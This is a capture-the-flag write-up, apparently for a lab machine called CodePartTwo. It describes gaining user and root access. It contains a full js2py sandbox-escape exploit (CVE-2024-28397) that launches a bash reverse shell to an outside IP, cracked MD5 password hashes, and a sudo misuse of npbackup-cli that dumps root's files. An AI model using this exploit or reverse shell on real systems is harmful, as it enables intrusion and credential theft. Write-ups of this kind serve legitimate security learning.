CodePartTwo


Contents

Intro


This box hosts a simple code editor running js2py, which is open for exploitation. After gaining user access, the key to root lies within npbackup. Pretty decent box, good luck to anyone else doing it!

User


sudo nmap -sC -sV 10.129.232.59

22/tcp    open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)

8000/tcp  open http Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
|_http-server-header: gunicorn/20.0.4

Nothing interesting to see apart from an HTTP server running gunicorn (wsgi - web server gateway interface).

While on the website, you ahve three options to choose from: download, login and register.

Downloading the app nets you a zip file, which if you extract, you get a file called app - we cd into it and see where to continue from there.

ls
app.py  instance  requirements.txt  static  templates

requirements contains the text below:

flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

When checking app.py, we find two notable things, one is a secret key, which could be used to forge cookies - the other is an eval, which could lead to code execution.

app.secret_key = 'S3cr3tK3yC0d3PartTw0'

result = js2py.eval_js(code)

For now, let's register to the webapp.

Upon logging in, we get a (python) code editor that runs and saves code.

If you try to import, you get an error message that says the following:

Error: SyntaxError: Line 1: ImportDeclaration is not supported by ECMA 5.1.

After doing some research, I've found that there's a sandbox escape for js2py (CVE-2024-28397) which works on version 0.74 and below, which works because variables in js work in a weird way when translating them raw to python.

let cmd = "bash -c 'bash -i >& /dev/tcp/10.10.15.242/9001 0>&1'"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11

Running this after I nc -lvnp 9001 of course.

We get our normal shell:

app@codeparttwo:~/app$ python3 -c 'import pty;pty.spawn("/bin/bash")'

stty raw -echo;fg

app@codeparttwo:~/app$ export TERM=xterm

Following the access of normal shell, we can dump the users database found in instance.

INSERT INTO user VALUES(1,'marco','649c9d65a206a75f5abe509fe128bce5');
INSERT INTO user VALUES(2,'app','a97588c0e2fa3a024876339e27aeb42e');
INSERT INTO user VALUES(3,'a','92eb5ffee6ae2fec3ad71c777531578f');

Since the hash is 32 characters, it is most likely raw MD5. To get the normal passwords back, we use crackstation to get marco's password: sweetangelbabylove.

If we cat /etc/passwd, we see that there's a marco user with shell access:

marco:x:1000:1000:marco:/home/marco:/bin/bash

We can now ssh into the system and get user flag.

Root


When running sudo -l, we see that there's a thing that thing that marco can run as sudo:

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

This is a normal python script, let's run it and see what we get:

2026-02-26 19:37:37,451 :: CRITICAL :: Cannot run without configuration file.

There is a config file in our working directory however let's run it with that.

sudo /usr/local/bin/npbackup-cli -c /tmp/npbackup.conf  -s

ID        Time                 Host        Tags        Paths          Size
--------------------------------------------------------------------------------
35a4dac3  2025-04-06 03:50:16  codetwo                 /home/app/app  48.295 KiB
--------------------------------------------------------------------------------

Then a thought came to mind - what if we simply changed the path inside of the config file to /root/ and forced it to run the backup via -f?

sudo /usr/local/bin/npbackup-cli -c /tmp/npbackup.conf  -b -f

After checking with the previous command again,

ID        Time                 Host         Tags        Paths          Size
----------------------------------------------------------------------------------
35a4dac3  2025-04-06 03:50:16  codetwo                  /home/app/app  48.295 KiB
a40b7e22  2026-02-26 19:46:54  codeparttwo              /root          197.660 KiB
----------------------------------------------------------------------------------

We get a snapshot of root!

(listing root backup)
sudo /usr/local/bin/npbackup-cli -c /tmp/npbackup.conf  --ls a40b7e22

(dumping file from root)
sudo /usr/local/bin/npbackup-cli -c /tmp/npbackup.conf  --snapshot-id a40b7e22 --dump /root/root.txt

And with that, we got the root flag! Additionally, there's also an id_rsa for SSH.